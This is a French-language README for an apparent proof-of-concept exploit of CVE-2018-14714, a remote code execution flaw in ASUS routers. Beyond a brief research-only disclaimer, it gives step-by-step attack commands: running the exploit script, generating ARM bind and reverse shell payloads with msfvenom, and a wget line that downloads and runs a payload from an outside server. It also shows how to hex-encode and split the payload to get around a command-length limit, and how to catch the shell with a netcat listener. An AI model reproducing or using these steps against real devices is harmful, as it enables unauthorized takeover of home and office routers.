
ASUS wifi router RCE vulnerability
Vulnérabilité RCE du routeur WiFi ASUS
Ce PoC est uniquement à des fins d'apprentissage et de recherche. Ne l'utilisez pas pour des activités illégales ; vous êtes seul responsable des conséquences juridiques.
Dans la démonstration ci-dessous, le modèle de périphérique testé est un ASUS RT-N18U, la version du firmware est 3.0.0.4.378.9216., un routeur que j'ai acheté pendant mes années universitaires. C'est maintenant ma machine de test :)
Conditions d'exploitation
Vous devez installer les dépendances :
$ python3 -m pip install requestsExécutez le script directement pour obtenir les instructions d'utilisation. Vous pouvez exécuter la commande ci-dessous pour vérifier si la cible est vulnérable.
$ python3 CVE-2018-14714-RCE_PoC.py <cible> <utilisateur> <mot de passe>

Vous pouvez utiliser la commande msfvenom pour générer un binaire exécutable de reverse shell léger. Vous pouvez modifier les paramètres en fonction de l'environnement du noyau que vous utilisez. Dans mon cas, c'est armv7l, et la commande est la suivante :
Shell lié (bind shell)
$ msfvenom -p linux/armle/shell_bind_tcp LPORT=4444 -f elf -o pwn.elf

Reverse shell
$ msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o pwn.elf

Si votre périphérique cible dispose de la commande wget, après avoir commencé à écouter sur le port 4444, vous pouvez utiliser la commande suivante dans un pseudo-shell pour obtenir un reverse shell :
$ python3 CVE-2018-14714-RCE_PoC.py admin admin shell
shell> cd /tmp && wget http://YourServer/pwn.elf -O pwn.elf && chmod +x ./pwn.elf && ./pwn.elf
Si votre environnement cible ne dispose d'aucune commande intégrée d'accès aux ressources distantes, veuillez continuer à lire.
Convertissez le fichier binaire généré en données binaires.
$ for i in `cat pwn.elf | xxd -p`;do echo -n $i;done
$ python3 -c 'a=input("binary data:");print("echo -ne \"",end="");print(*[f"\\x{a[i:i+2]}" for i in range(0,len(a),2)],sep="",end="");print("\"")'

Pour confirmer l'existence d'une vulnérabilité sur la cible, réexécutez le script Python avec les paramètres shell ajoutés pour entrer dans un pseudo-shell interactif. Veuillez noter qu'il est normal que les commandes ne produisent aucune sortie, car il n'y a pas de place pour recevoir stdout. Cependant, l'utilisation de la commande sleep peut vous aider à vérifier que les commandes ont bien été exécutées.

De plus, il est important de noter que, selon les tests, la ligne de commande permet un maximum de 1022 caractères. Vous devez construire des commandes d'une longueur inférieure à 1022 caractères. Par conséquent, vous devrez diviser manuellement la charge utile (payload) et l'exécuter en plusieurs parties pour garantir que notre commande s'exécute correctement.

Ensuite, obtenons un véritable reverse shell. Vous pouvez commencer par écouter sur le port spécifié.
$ nc -lvnp 4444
Exécutez le script Python PoC pour obtenir un pseudo-shell afin d'injecter la charge utile.
$ python3 CVE-2018-14714-RCE_PoC.py admin admin shell

Enfin, il ne reste plus qu'à profiter de votre reverse shell acquis :)
